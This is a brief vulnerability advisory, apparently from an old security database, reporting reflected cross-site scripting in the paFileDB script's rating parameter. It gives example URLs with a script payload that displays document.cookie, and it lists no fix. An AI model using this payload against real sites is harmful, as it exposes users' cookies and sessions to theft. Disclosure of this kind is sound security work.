COMMAND

	PHP-Arena XSS

SYSTEMS AFFECTED

	PHP-Arena v?

PROBLEM

	Thanks to dEcKa [decka_trash@yahoo.com] kind advisory :
	
	The Example Is Like This. Its So Simple:-
	
	http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=[script] 
	
	Fast Example:-
	
	http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=<scr!pt>alert(document.cookie)</scr!pt> 
	
	Done. So Simple Rite. The Problem Is In paFileDB Management Script.

SOLUTION

	?